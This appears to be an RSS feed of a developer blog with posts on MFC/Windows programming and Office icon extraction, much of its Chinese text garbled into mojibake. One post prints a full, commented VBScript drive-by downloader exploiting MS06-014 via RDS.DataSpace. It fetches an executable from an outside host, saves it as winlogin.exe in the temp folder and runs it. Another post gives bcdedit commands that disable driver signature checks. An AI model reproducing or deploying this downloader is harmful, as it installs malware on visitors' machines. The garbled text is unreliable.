锘??xml version="1.0" encoding="utf-8" standalone="yes"?>午夜欧美视频,欧美在线视频免费播放,一区二区在线免费观看http://www.shnenglu.com/aqazero/category/2110.htmlzh-cnFri, 14 Sep 2012 22:55:12 GMTFri, 14 Sep 2012 22:55:12 GMT60printer driverhttp://www.shnenglu.com/aqazero/archive/2012/09/12/190456.htmlbrentbrentWed, 12 Sep 2012 15:26:00 GMThttp://www.shnenglu.com/aqazero/archive/2012/09/12/190456.htmlhttp://www.shnenglu.com/aqazero/comments/190456.htmlhttp://www.shnenglu.com/aqazero/archive/2012/09/12/190456.html#Feedback0http://www.shnenglu.com/aqazero/comments/commentRss/190456.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/190456.htmlC:\PROGRA~2\COMMON~1\FLOORC~1\FEP\PRIMOA~2\PrimoRun.exe
1) disable driver digital signatures
http://answers.microsoft.com/en-us/windows/forum/windows_7-windows_programs/turning-off-digital-signatures/23c67c73-3fa0-4de3-a9b5-3adf4c3472f3 

You can disable digitally signed signatures, however it is not recommended.
Important: The driver signing enforcement in Windows 7 and Vista is there for a reason. Unsigned drivers could theoretically contain malicious code and harm your computer.

Step 1: Click Start button on the left bottom corner of desktop. In the search box, type "cmd"

Step 2: Go to Run command, and right click on command prompt and click on "Run as administrator".

Step 3: In the command prompt, type in these commands: Be very careful here. BCDEDIT controls how your computer boots up.

IMPORTANT:make a backup of your bcd file first. To do that, type:
bcdedit /export C:\savedbcd

This will create a file c:\savebcd which is your boot entry backup.
If you mess up, you can always undo changes by:

bcdedit /import c:\savedbcd

Then type these commands:

bcdedit.exe -set loadoptions DDISABLE_INTEGRITY_CHECKS
bcdedit.exe -set TESTSIGNING ON

After you finished the steps above mentioned, you have made digital driver signing signature disabled for all installation. So you can install device drivers on Windows 7 without warning message that those drivers should be digitally signed.


2) install gpedit on window 7 basic 
http://www.askvg.com/how-to-enable-group-policy-editor-gpedit-msc-in-windows-7-home-premium-home-basic-and-starter-editions/comment-page-4/#comments 

NOTE: For Windows 7 64-bit (x64) users! You'll also need to go to "SysWOW64" folder present in C:\Windows folder and copy "GroupPolicy", "GroupPolicyUsers" folders and gpedit.msc file from there and paste them in "C:\Windows\System32" folder. 

http://www.shnenglu.com/Files/aqazero/add_gpedit_msc_by_jwils876-d3kh6vm.zip


3) uninstall AOL 
http://answers.yahoo.com/question/index?qid=20061224095808AAMxsCT 
AOL ANTIVIRUS AOL SPYWARE PROTECTION  AOL FIREWALL AOL SAFETY AND SECURITY CENTER 

http://forums.techguy.org/digital-photography-imaging/536280-alternate-solution-printer-driver-unknown.html 





brent 2012-09-12 23:26 鍙戣〃璇勮
]]>
simulate OnIdle in MFC ActiveX controlhttp://www.shnenglu.com/aqazero/archive/2010/04/15/112672.htmlbrentbrentThu, 15 Apr 2010 07:49:00 GMThttp://www.shnenglu.com/aqazero/archive/2010/04/15/112672.htmlhttp://www.shnenglu.com/aqazero/comments/112672.htmlhttp://www.shnenglu.com/aqazero/archive/2010/04/15/112672.html#Feedback0http://www.shnenglu.com/aqazero/comments/commentRss/112672.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/112672.html
Method A:
::SetWindowsHookEx(WH_FOREGROUNDIDLE, YourIdleProc, AfxGetInstanceHandle(), GetCurrentThreadId());

Method B (my way):
 1 static HHOOK s_hGetMsgHook = NULL;
 2 
 3 LRESULT FAR PASCAL GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam)
 4 {
 5     AFX_MANAGE_STATE(AfxGetStaticModuleState( ));
 6 
 7     LPMSG lpMsg = (LPMSG) lParam;
 8     if( (nCode >= 0&& PM_REMOVE == wParam)
 9     {
10         //your code here. maybe to deal with hot-keys, accelerators ...
11         //see http://support.microsoft.com/kb/187988
12 
13         //my code to simulate OnIdle
14         static BOOL bIdle = FALSE;
15         CWinApp* pApp = AfxGetApp();
16         if(!bIdle && pApp->IsIdleMessage(lpMsg))
17             bIdle = TRUE;
18         
19         if(bIdle)
20         {
21             MSG msgPeek = {0};
22             if(!::PeekMessage(&msgPeek, NULL, NULL, NULL, PM_NOREMOVE))
23             {
24                 VERIFY(PostMessage(AfxGetMainWnd()->GetSafeHwnd(), WM_USER+0x120x340x56));
25             }
26         }
27 
28         if(lpMsg->hwnd == AfxGetMainWnd()->GetSafeHwnd() &&
29             lpMsg->message == WM_USER+0x12 && lpMsg->wParam == 0x34 && lpMsg->lParam == 0x56)
30         {
31             lpMsg->message = WM_NULL;
32             lpMsg->lParam = 0L;
33             lpMsg->wParam = 0L;
34 
35             pApp->OnIdle(0);
36             bIdle = FALSE;
37         }
38     }
39 
40     return ::CallNextHookEx(s_hGetMsgHook, nCode, wParam, lParam);
41 }
42 
43 int CYourOleControl::OnCreate(LPCREATESTRUCT lpCreateStruct) 
44 {
45     //...
46     
47     if(NULL == s_hGetMsgHook)
48         s_hGetMsgHook = ::SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, AfxGetInstanceHandle(), GetCurrentThreadId());
49 }
50 
51 void CYourOleControl::OnDestroy() 
52 {
53     //...
54     
55     ::UnhookWindowsHookEx(s_hGetMsgHook);
56     s_hGetMsgHook = NULL;
57 
58     COleControl::OnDestroy();
59 }

Method A is far more simple, but with Method B:

1) You can override CWinApp::IsIdleMessage to filter some special messages, such as a frequent timer which will not affect what you want to do in CWinApp::OnIdle. Because timer will affect message queue and if you don't filter it, OnIdle will be called every time after the timer is invoked.

2) Sometimes your action in OnIdle will affect message queue inevitably, thus you will get a infinite loop: OnIdle->the special messages in message queue->OnIdle->... But with Method B, with SPY++ you can find the special messages, and filter them in IsIdleMessage.


brent 2010-04-15 15:49 鍙戣〃璇勮
]]>
vista windows 7 areo progress barhttp://www.shnenglu.com/aqazero/archive/2009/11/06/100283.htmlbrentbrentFri, 06 Nov 2009 03:56:00 GMThttp://www.shnenglu.com/aqazero/archive/2009/11/06/100283.htmlhttp://www.shnenglu.com/aqazero/comments/100283.htmlhttp://www.shnenglu.com/aqazero/archive/2009/11/06/100283.html#Feedback0http://www.shnenglu.com/aqazero/comments/commentRss/100283.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/100283.html
http://stackoverflow.com/questions/313792/disabling-progress-bar-animation-on-vista-aero
http://msdn.microsoft.com/en-us/library/aa511486.aspx

鐢?meters"? 娌$┖鍟娿?br>
鎴戠殑鏆村姏鏂規(guī)硶鏄細
g_xpStyle.SetWindowTheme(m_hProgressWnd, L"",L"");

g_xpStyle 灝辨槸閭d釜 CVisualStylesXP錛?google 涓涓嬪氨鏈変簡銆?br>

brent 2009-11-06 11:56 鍙戣〃璇勮
]]>
鎭ㄤ笉鐩擱㈡湭瀚佹椂http://www.shnenglu.com/aqazero/archive/2009/10/29/99731.htmlbrentbrentThu, 29 Oct 2009 03:56:00 GMThttp://www.shnenglu.com/aqazero/archive/2009/10/29/99731.htmlhttp://www.shnenglu.com/aqazero/comments/99731.htmlhttp://www.shnenglu.com/aqazero/archive/2009/10/29/99731.html#Feedback0http://www.shnenglu.com/aqazero/comments/commentRss/99731.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/99731.htmlbcgcontrolbar

浜轟笘闂存渶鐥涜嫤鐨勪簨鑾繃浜庢銆?br>


brent 2009-10-29 11:56 鍙戣〃璇勮
]]>
create mfc dialog by template will drive you mad.http://www.shnenglu.com/aqazero/archive/2008/11/19/67287.htmlbrentbrentWed, 19 Nov 2008 07:10:00 GMThttp://www.shnenglu.com/aqazero/archive/2008/11/19/67287.htmlhttp://www.shnenglu.com/aqazero/comments/67287.htmlhttp://www.shnenglu.com/aqazero/archive/2008/11/19/67287.html#Feedback0http://www.shnenglu.com/aqazero/comments/commentRss/67287.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/67287.html
And now, sometimes , i need CMyDialog to be a model dialog (WS_POPUP), sometimes be a child of another dialog(WS_CHILD).

How to make this done without duplicating the template in resource?

Call ModifyStyle after creation? Failed
Modify the LPCREATESTRUCT's style in CMyDialog::OnCreate ? Failed.
Override PreCreateWindow? Failed.

After a lot of tracing and a lot of googling. I worked out something like this:

BOOL CMyDialog::CreateAsChild(CWnd * pParent)
{
    
if(!IsWindow(pParent->GetSafeHwnd()))
        
return FALSE;

    m_lpszTemplateName 
= ATL_MAKEINTRESOURCE(IDD_WALLLAYER_PROPERTYPAGE);  // used for help
    if (m_nIDHelp == 0)
        m_nIDHelp 
= LOWORD((DWORD_PTR)m_lpszTemplateName);

    HINSTANCE hInst 
= AfxFindResourceHandle(m_lpszTemplateName, RT_DIALOG);
    HRSRC hResource 
= ::FindResource(hInst, m_lpszTemplateName, RT_DIALOG);
    HGLOBAL hTemplate 
= LoadResource(hInst, hResource);
    LPCDLGTEMPLATE lpDialogTemplate 
= (LPCDLGTEMPLATE)LockResource(hTemplate);
    DLGTEMPLATEEX
* lpDlgTmpEx = (DLGTEMPLATEEX* )lpDialogTemplate;
    DWORD dwOldStyle 
= 0;
    BOOL bIsDlgEx 
= lpDlgTmpEx->signature == 0xFFFF;
    
if(bIsDlgEx)
    {
        dwOldStyle 
= lpDlgTmpEx->style;
        lpDlgTmpEx
->style = DS_SETFONT | WS_CHILD;
    }
    
else
    {
        dwOldStyle 
= ((LPDLGTEMPLATE)lpDialogTemplate)->style;
        ((LPDLGTEMPLATE)lpDialogTemplate)
->style = DS_SETFONT | WS_CHILD;
    }
    m_lpDialogInit 
= NULL;
    BOOL bResult 
= CreateDlgIndirect(lpDialogTemplate, pParent, hInst);
    
if(bIsDlgEx)
        lpDlgTmpEx
->style = dwOldStyle;
    
else
        ((LPDLGTEMPLATE)lpDialogTemplate)
->style = dwOldStyle;
    UnlockResource(hTemplate);
    FreeResource(hTemplate);
    
return bResult;
}

If you need your dialog to behavior as WS_POPUP or WS_CHILD without duplicating your dialog template, you just get an ugly answer. And anyone who know another better way, let me know please.

MFC


brent 2008-11-19 15:10 鍙戣〃璇勮
]]>
trap in CreateCompatibleBitmap and memory dchttp://www.shnenglu.com/aqazero/archive/2008/07/14/56118.htmlbrentbrentMon, 14 Jul 2008 09:15:00 GMThttp://www.shnenglu.com/aqazero/archive/2008/07/14/56118.htmlhttp://www.shnenglu.com/aqazero/comments/56118.htmlhttp://www.shnenglu.com/aqazero/archive/2008/07/14/56118.html#Feedback0http://www.shnenglu.com/aqazero/comments/commentRss/56118.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/56118.html        CDC dcMem;
        VERIFY(dcMem.CreateCompatibleDC(NULL));
        CBitmap bmp;
        VERIFY(bmp.CreateCompatibleBitmap(
&dc,100,100));
        CBitmap 
* pOld = dcMem.SelectObject(&bmp);
        dcMem.FillSolidRect(
0,0,100,100,RGB(255,0,0));
        dcMem.MoveTo(
0,0);
        dcMem.LineTo(
100,100);
        dc.BitBlt(
0,0,100,100,&dcMem,0,0,SRCCOPY);
        dcMem.SelectObject(pOld);
these codes will run smoothly. but you will get nothing other a bitmap either black or white.

See what MSDN says:

CBitmap::CreateCompatibleBitmap

If pDC is a memory device context, the bitmap returned has the same format as the currently selected bitmap in that device context.

When a memory device context is created, GDI automatically selects a monochrome stock bitmap for it.


Solution:
1) pass in  a CPaintDC instead of a memory dc
2) just replace VERIFY(bmp.CreateCompatibleBitmap(&dc,100,100)); with bmp.CreateBitmap(100,100,1,32,NULL);



brent 2008-07-14 17:15 鍙戣〃璇勮
]]>
ie helper, great!http://www.shnenglu.com/aqazero/archive/2008/03/13/44374.htmlbrentbrentThu, 13 Mar 2008 07:29:00 GMThttp://www.shnenglu.com/aqazero/archive/2008/03/13/44374.htmlhttp://www.shnenglu.com/aqazero/comments/44374.htmlhttp://www.shnenglu.com/aqazero/archive/2008/03/13/44374.html#Feedback0http://www.shnenglu.com/aqazero/comments/commentRss/44374.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/44374.html

brent 2008-03-13 15:29 鍙戣〃璇勮
]]>
digitizershttp://www.shnenglu.com/aqazero/archive/2008/02/18/42883.htmlbrentbrentMon, 18 Feb 2008 07:22:00 GMThttp://www.shnenglu.com/aqazero/archive/2008/02/18/42883.htmlhttp://www.shnenglu.com/aqazero/comments/42883.htmlhttp://www.shnenglu.com/aqazero/archive/2008/02/18/42883.html#Feedback0http://www.shnenglu.com/aqazero/comments/commentRss/42883.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/42883.html
for python:
http://cgkit.sourceforge.net/doc2/module-cgkit.wintab.html

http://www.gtcocalcomp.com/developers.php



brent 2008-02-18 15:22 鍙戣〃璇勮
]]>
disk id and WMI C#http://www.shnenglu.com/aqazero/archive/2008/01/25/41902.htmlbrentbrentFri, 25 Jan 2008 09:27:00 GMThttp://www.shnenglu.com/aqazero/archive/2008/01/25/41902.htmlhttp://www.shnenglu.com/aqazero/comments/41902.htmlhttp://www.shnenglu.com/aqazero/archive/2008/01/25/41902.html#Feedback0http://www.shnenglu.com/aqazero/comments/commentRss/41902.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/41902.htmlhttp://msdn2.microsoft.com/en-us/library/aa394554(VS.85).aspx

http://www.csharphelp.com/archives2/archive334.html

http://www.eggheadcafe.com/articles/20030511.asp



brent 2008-01-25 17:27 鍙戣〃璇勮
]]>
閫氳繃 .NET Compact Framework 浼樺寲 Pocket PC 寮鍙?/title><link>http://www.shnenglu.com/aqazero/archive/2007/11/29/37505.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Thu, 29 Nov 2007 10:12:00 GMT</pubDate><guid>http://www.shnenglu.com/aqazero/archive/2007/11/29/37505.html</guid><wfw:comment>http://www.shnenglu.com/aqazero/comments/37505.html</wfw:comment><comments>http://www.shnenglu.com/aqazero/archive/2007/11/29/37505.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/aqazero/comments/commentRss/37505.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/aqazero/services/trackbacks/37505.html</trackback:ping><description><![CDATA[http://www.microsoft.com/china/MSDN/library/Mobility/pocketpc/NETCompactFramework.mspx?mfr=true<br><br>scroll bar in .netCFW<br> http://www.c-sharpcorner.com/UploadFile/mgold/PocketPackingList11082006213122PM/PocketPackingList.aspx<br><br> <img src ="http://www.shnenglu.com/aqazero/aggbug/37505.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/aqazero/" target="_blank">brent</a> 2007-11-29 18:12 <a href="http://www.shnenglu.com/aqazero/archive/2007/11/29/37505.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>note Algorithm book, sql server download, .net context help, activex hotkey/ acceleratorhttp://www.shnenglu.com/aqazero/archive/2007/09/14/32214.htmlbrentbrentFri, 14 Sep 2007 08:13:00 GMThttp://www.shnenglu.com/aqazero/archive/2007/09/14/32214.htmlhttp://www.shnenglu.com/aqazero/comments/32214.htmlhttp://www.shnenglu.com/aqazero/archive/2007/09/14/32214.html#Feedback0http://www.shnenglu.com/aqazero/comments/commentRss/32214.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/32214.html
a great book about Algorithm  http://www2.toki.or.id/book/AlgDesignManual/INDEX.HTM

sql server developer
http://beta.verycd.com/groups/@g19046/135284.topic
http://beta.verycd.com/groups/@g19046/64613.topic


A great idea about context help:
1)http://www.codeproject.com/csharp/ContextHelpMadeEasy.asp
2)http://netpl.blogspot.com/2007/07/context-help-made-easy-revisited.html


How to deal with hotkey / accelerator keys in activex
http://support.microsoft.com/?scid=kb;EN-US;Q187988

You know how to google ,you know almost every thing.


brent 2007-09-14 16:13 鍙戣〃璇勮
]]>
Excel addin澶勭悊瀛︾敓鎴愮嘩http://www.shnenglu.com/aqazero/archive/2006/11/28/15731.htmlbrentbrentTue, 28 Nov 2006 06:40:00 GMThttp://www.shnenglu.com/aqazero/archive/2006/11/28/15731.htmlhttp://www.shnenglu.com/aqazero/comments/15731.htmlhttp://www.shnenglu.com/aqazero/archive/2006/11/28/15731.html#Feedback6http://www.shnenglu.com/aqazero/comments/commentRss/15731.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/15731.html姣忔閮借閲嶅涓浜沞xcel鎻掑叆錛屽鍒訛紝綺樿創(chuàng)鐨勬搷浣滐紝浜庢槸鑷綔鑱槑鍦拌鎴戝府濂瑰啓紼嬪簭銆?br>涓轟簡榪欎箞鐐瑰皬浜嬶紝璁╂垜鐢╲c++鍐欑▼搴?鎴戝VBA涓嶇啛鍟?..)錛屽疄鍦ㄦ槸澶ф潗灝忕敤鍟娿?br>鑰屼笖紼嬪簭鍐欏ソ鍚庤繕闂澶氬錛宐ug澶氬錛屽棷錛屾?zhèn)鍑戝悎鐫鐢ㄥ惂銆?br>鏈夐棶棰樺氨鍦ㄨ繖閲岀暀涓█錛岀▼搴忓凡緇忔湁鏇存柊鍔熻兘浜嗭紝鎴戜慨鏀硅搗鏉ヤ綘鏇存柊璧鋒潵閮戒細寰堟柟渚跨殑(浣嗘効濡傛浜?銆?br>
for user:
瀹夎紼嬪簭鍦?http://www.shnenglu.com/Files/aqazero/brentExcelAddinSetup_fm.zip
excel鏂囦歡鏍煎紡鍙傝?http://www.shnenglu.com/Files/aqazero/example_brentAddin.zip

寰堢儌鐨勬簮鐮侊細http://www.shnenglu.com/Files/aqazero/BrentAddin.rar


brent 2006-11-28 14:40 鍙戣〃璇勮
]]>
涓孌墊鍏ユ湪椹殑html浠g爜http://www.shnenglu.com/aqazero/archive/2006/09/25/12944.htmlbrentbrentMon, 25 Sep 2006 06:18:00 GMThttp://www.shnenglu.com/aqazero/archive/2006/09/25/12944.htmlhttp://www.shnenglu.com/aqazero/comments/12944.htmlhttp://www.shnenglu.com/aqazero/archive/2006/09/25/12944.html#Feedback1http://www.shnenglu.com/aqazero/comments/commentRss/12944.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/12944.html < html >
< script聽 language ="VBScript" >
聽聽聽聽
on error resume next
聽聽聽聽
' 鍗沖皢涓嬭澆鐨勬湪椹?/span>
聽聽聽聽dl聽 = " ht#tp://ww#w.800vv.com/cc/cj.exe# "
聽聽聽聽
' 鍒涘緩OBJECT鍏冪礌
聽聽聽聽 Set 聽df聽 = 聽document.createElement( " object " )
聽聽聽聽
' 鎸囧畾OBJECT涓篟DS.DataSpace聽
聽聽聽聽聽聽聽聽 ' 璇ュ璞℃湁涓涓柟娉曞悕涓篊reateObject錛?/span>
聽聽聽聽聽聽聽聽 ' helpstring("Creates聽a聽business聽object聽of聽the聽specified聽Progid聽over聽the聽specified聽connection")
聽聽聽聽df.setAttribute聽 " classid " ,聽 " clsid:BD96C556-65A3-11D#0-983A-00C04F#C29E36 "
聽聽聽聽
'
聽聽聽聽str = " Microsoft.XMLHTTP "
聽聽聽聽
' RDS.DataSpace.CreateObject("Microsoft.XMLHTTP","")
聽聽聽聽 Set 聽x聽 = 聽df.CreateObject(str, "" )
聽聽聽聽
' 4545
聽聽聽聽a1 = " A#do "
聽聽聽聽a2
= " db. "
聽聽聽聽a3
= " Str "
聽聽聽聽a4
= " eam "
聽聽聽聽
' str5聽=聽"Adodb.Stream"聽鍒嗘垚榪欎箞澶氭鏄負浜嗘帺浜鴻崇洰
聽聽聽聽str1 = a1 & a2 & a3 & a4
聽聽聽聽str5
= str1
聽聽聽聽
' RDS.DataSpace.CreateObject("Ado#db.Str#eam","")
聽聽聽聽 set 聽S聽 = 聽df.createobject(str5, "" )
聽聽聽聽
' 5455
聽聽聽聽S.type聽 = 1
聽聽聽聽str6
= " GET "
聽聽聽聽
' Microsoft.XMLHTTP.Open聽"GET"聽"ht#tp://ww#w.800vv.com/cc/cj.exe#"聽False
聽聽聽聽聽聽聽聽 ' 涓嬭澆鏈ㄩ┈
聽聽聽聽x.Open聽str6,聽dl,聽 False
聽聽聽聽x.Send
聽聽聽聽
' 鏈湴鏂囦歡鍚?/span>
聽聽聽聽fname1 = " winlogin.exe "
聽聽聽聽
' 888
聽聽聽聽 set 聽F聽 = 聽df.createobject( " Scri#pting.FileSy#stemObject " , "" )
聽聽聽聽
' 鑾峰彇涓存椂鐩綍
聽聽聽聽 set 聽tmp聽 = 聽F.GetSpecialFolder( 2 )聽
聽聽聽聽
' 鍒涘緩鏈湴鏂囦歡
聽聽聽聽fname1 = 聽F.BuildPath(tmp,fname1)
聽聽聽聽
' Adodb.Stream.open
聽聽聽聽S.open
聽聽聽聽
' Adodb.Stream.write聽鏈ㄩ┈浠g爜
聽聽聽聽S.write聽x.responseBody
聽聽聽聽
' Adodb.Stream.savetofile聽"涓存椂鐩綍\winlogin.exe"
聽聽聽聽S.savetofile聽fname1, 2
聽聽聽聽
' 6551
聽聽聽聽S.close
聽聽聽聽
' 458
聽聽聽聽 set 聽Q聽 = 聽df.createobject( " Shell.Application " , "" )
聽聽聽聽
' 榪愯聽涓存椂鐩綍\winlogin.exe
聽聽聽聽Q.ShellExecute聽fname1, "" , ""
聽聽聽聽
' 55
聽聽聽聽
</ script >
聽聽聽聽
< head >
聽聽聽聽
< title > icexiaoyeMS06-014鍏嶆潃緗戦┈ </ title >
聽聽聽聽
</ head >< body >
聽聽聽聽
< center > icexiaoyeMS06-014鍏嶆潃緗戦┈ </ center >
聽聽聽聽
</ body >

< script聽 type ="text/jscript" >
function 聽init()聽 {聽
document.write(Date());

}

window.onload聽
= 聽init;
</ script >
</ html > 涓鑸潵璇達紝script鏄棤娉曞啓鏈湴鏂囦歡鐨勩傘傝繖孌典唬鐮佸埄鐢ㄤ簡Microsoft Data Access Components (MDAC)鐨勪竴涓畨鍏ㄦ紡媧炴潵鍐欐湰鍦版枃浠躲?img src ="http://www.shnenglu.com/aqazero/aggbug/12944.html" width = "1" height = "1" />

brent 2006-09-25 14:18 鍙戣〃璇勮
]]>
鎻愬彇Office 2003宸ュ叿鏍忓浘鏍?/title><link>http://www.shnenglu.com/aqazero/archive/2006/07/13/9816.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Thu, 13 Jul 2006 09:28:00 GMT</pubDate><guid>http://www.shnenglu.com/aqazero/archive/2006/07/13/9816.html</guid><wfw:comment>http://www.shnenglu.com/aqazero/comments/9816.html</wfw:comment><comments>http://www.shnenglu.com/aqazero/archive/2006/07/13/9816.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.shnenglu.com/aqazero/comments/commentRss/9816.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/aqazero/services/trackbacks/9816.html</trackback:ping><description><![CDATA[杞澆鑷?a >http://www.citom.com/</a>璁哄潧<a >http://www.citom.com/forum/forum_posts.asp?TID=301&PN=1&TPN=1</a><br /><br />鍑轟簬瀵筂S Office 2003鐣岄潰鐮旂┒鐨勫叴瓚o紝鏈榪戞敹闆嗕簡濡備綍鎻愬彇Office 2003宸ュ叿鏍忓浘鏍囩殑鐩稿叧閾炬帴騫剁暐鍔犵炕璇戞暣鐞嗭紝鐩鎬俊瀵規(guī)鎰熷叴瓚g殑涓嶆鎴戜竴涓紝鐗規(guī)鍏變韓銆? <h1>1.涓轟綍錛?/h1><ul><li>鐣岄潰鏍囧噯鍖栫殑鏈濂藉姙娉曞氨鏄笌MS淇濇寔涓鑷達紝鑰孫ffice2003鍥炬爣闈炲父婕備寒騫朵笖寰堝畬鏁? </li><li>鐜版湁璧勬簮鎻愬彇宸ュ叿鏃犳硶浠嶰ffice2003鐩稿叧鏂囦歡涓彁鍙栧伐鍏鋒爮鍥炬爣 </li><li>鎵嬪伐鎴睆宸ヤ綔閲忓ぇ銆佸昂瀵鎬笉鍑嗙‘銆佹棤娉曞畬鏁翠繚鎸?2浣嶈壊錛?浣岮lpha閫氶亾) </li></ul><h1>2.鏉′歡</h1><ul><li>宸插畨瑁匫fffice 2003 </li><li><a href="/Files/aqazero/F53_extract-office20003-icons.rar">涓嬭澆鎻愬彇杞歡</a></li><li><font color="#ff0000">鏄劇ず妯″紡璁劇疆涓?2浣嶏紝鍒囪錛?/font></li></ul><h1>3.姝ラ</h1><ol type="a"><li>榪愯 SaveAlphaIcons.xla<br />濡傛灉鎻愮ず瀹忚紱佺敤錛岃繘鍏xcel鑿滃崟-銆夊伐鍏?銆夊畯-銆夊畨鍏ㄦэ紝鎶婂畨鍏ㄧ駭鍒涓轟腑鍐嶆榪愯騫剁‘璁ゅ惎鐢ㄥ畯銆? </li><li>鎸堿lt+F11榪涘叆"Visual Basic緙栬緫鍣?,鐒跺悗鎸塅5榪愯瀹忓嵆鍙紝榪愯瀹屾垚鍚庤鍒扳滄垜鐨勬枃妗?涓嬫煡鐪?Office 11.0 Alpha Icons"鐩綍錛岃鐩綍涓嬪簲璇ユ湁2488涓?BMP鏂囦歡錛屼竴涓枃浠跺搴斾竴涓浘鏍囷紝姣忎釜鍥炬爣閮芥槸16*16澶у皬32浣嶏紙鍖呮嫭8浣岮lpha閫氶亾),澶у昂瀵稿浘鏍囨槸閫氳繃杞歡緙╂斁瀹屾垚鐨勶紝Office鏈韓娌℃湁鍗曠嫭鐨勫ぇ鍥炬爣銆? </li><li>鍥炬爣鍚堝茍銆傛妸alphahlp.exe鍜孋ombineBMPs.vbs鎷瘋礉鍒?Office 11.0 Alpha Icons"鐩綍錛岀戶緇繍琛?CombineBMPs.vbs錛屽皢浼氭妸涔嬪墠鐢熸垚鐨勬墍鏈夊皬鍥劇墖鍚堟垚涓涓ぇ鍥劇墖(闇瑕佽緝闀挎椂闂?錛屽茍鏈?bmp,tif,tga,png絳夊嚑縐嶆牸寮忓彲渚涢夋嫨錛屽嚑涓枃浠跺垎鍒槸錛歄ffice2003icons.bmp錛孫ffice2003icons.png錛孫ffice2003icons.tga錛孫ffice2003icons.tif錛孫ffice2003icons-24bit.png錛孫ffice2003icons-alpha.png錛屽叾涓璒ffice2003icons-alpha.png鏄粎鍖呭惈Alpha閫氶亾鐨勭伆搴﹀浘鍍忥紝瀹冧笌Office2003icons-24bit.png涓璧鋒槸鐢監(jiān)ffice2003icons.png鍒嗚В鑰屾潵鐨勶紝澶у鍙牴鎹叿浣撴儏鍐甸夌敤銆?</li></ol><h1>4.闂</h1><ul><li>鎬庢牱鏌ユ壘闇瑕佺殑鍥炬爣?<br />鐢變簬鍥炬爣鏁扮洰闈炲父涔嬪ぇ銆佸茍涓斿昂瀵稿緢灝忥紝浣跨敤璧勬簮綆$悊鍣ㄧ殑緙╃暐鍥懼拰騫葷伅鐗囩瓑鏂瑰紡鏌ョ湅閮戒笉鍚堥傦紝鑰屽悎騫跺悗鐨勫ぇ鍥炬瘡鎺掓湁50涓紝鍏辨湁50鎺掞紝鐪嬭搗鏉ヤ篃鏄溂鑺辯輯涔便傚洜姝わ紝瑕佷粠涓寫閫夊悎閫傜殑鍥炬爣闇瑕佷竴瀹氱殑鎶宸с傛垜鐨勭粡楠屾槸棣栧厛閫氳繃浣跨敤Office2003瀵瑰ぇ姒傛湁鍝簺鍥炬爣鏈変釜鏁翠綋浜嗚В錛屽叾嬈℃槸浣跨敤澶у浘瀵瑰浘鏍囩殑鍒嗗竷鏈変釜澶ц嚧浜嗚В錛堢浉鍏崇殑鍥炬爣閫氬父鍦ㄤ竴璧鳳級錛岀劧鍚庡彲浣跨敤ACDSEE鐨勭緝鐣ュ浘鏌ョ湅錛孉CDSEE榛樿鐨勭緝鐣ュ浘灝哄涔熶笉閫傚悎鏌ョ湅灝忓浘鏍?鍙湪"宸ュ叿-銆夐夐」-銆夋枃浠跺垪琛?銆夌緝鐣ュ浘鏄劇ず"涓緗緝鐣ュ浘澶у皬涓?0*30 (ACDSEE6.0鐗堟湰錛夈? </li><li>鎵鏈夊浘鏍囬兘鍦ㄨ繖閲屼簡鍚?<br />灝辨垜鎵鐭ワ紝鎵鏈夊浘鏍囬兘鍦ㄨ繖閲屼簡銆備絾鏈夋椂浠嶇劧浼氬嚭鐜版壘涓嶅埌鍦∣ffice2003鐣岄潰涓榪囩殑鍥炬爣錛岃繖鏃墮渶瑕佽愬績鍚屾椂瑕佹敞鎰忔湁鐨勫浘鏍囷紙濡傚乏瀵歸綈錛夋湰韜氨鏄粦鑹茬殑錛屽湪鏌ョ湅鏃朵細鍙戠幇寰堝鍏ㄩ粦鑹茬殑鍥炬爣錛屽叾涓彲鑳藉氨鏈変綘瑕佺殑鍥炬爣銆傚榪欑被鍥炬爣鍙湪Photoshop涓墦寮錛屽湪閫氶亾闈㈡澘涓妸Alpha閫氶亾鏄劇ず閫変腑鍗沖彲鐪嬫竻鍥炬爣鍘熻矊銆?</li></ul><h1>5.娉ㄦ剰</h1><p>铏界劧鎴戜滑鐑垏鏈熸湜騫朵笖寰蔣涔熷簲璇ユ妸榪欎簺鍥炬爣浣滀負寮鍙戝寘鐨勪竴閮ㄥ垎鍏嶈垂鍙戝竷錛岃繖鏍蜂互鍒╀簬Windows搴旂敤鐨勭晫闈㈤鏍肩粺涓銆備絾鏄紝鐩墠寰蔣騫舵湭璁稿彲鍏嶈垂浣跨敤銆?/p><div id="hvzpftn" class="comment_content">Unless Microsoft releases those the icons are copyrighted. So you'd better get a permission to use those before you do. See <a target="_new"><font color="#800080">http://www.microsoft.com/permission/copyrgt/cop-img.htm</font></a>, it says the following: <br /><br />Icons <br />Microsoft does not generally allow the use of our icons in advertising, in books and other printed matter, on clothing or other promotional items, on-line and internet locations, in software applications, in television programs, commercials, movies, or on video tape, as they are NOT to be used as "artwork" or design elements. <br /><br />EXCEPTIONS: Use of our icons is permissible in relation to a training manual or documentation written for and/or about a Microsoft product. In such cases, use of Microsoft icons must be specific to the function of the icon within the Microsoft software, and not used as a graphical element or design for your own purposes. Further, icons cannot be modified or altered and must appear as they would within the Microsoft software.</div><h1>6.鐩稿叧閾炬帴</h1><p>緗戝崥澹鍧?<a >http://www.citom.com/forum</a></p><p><a 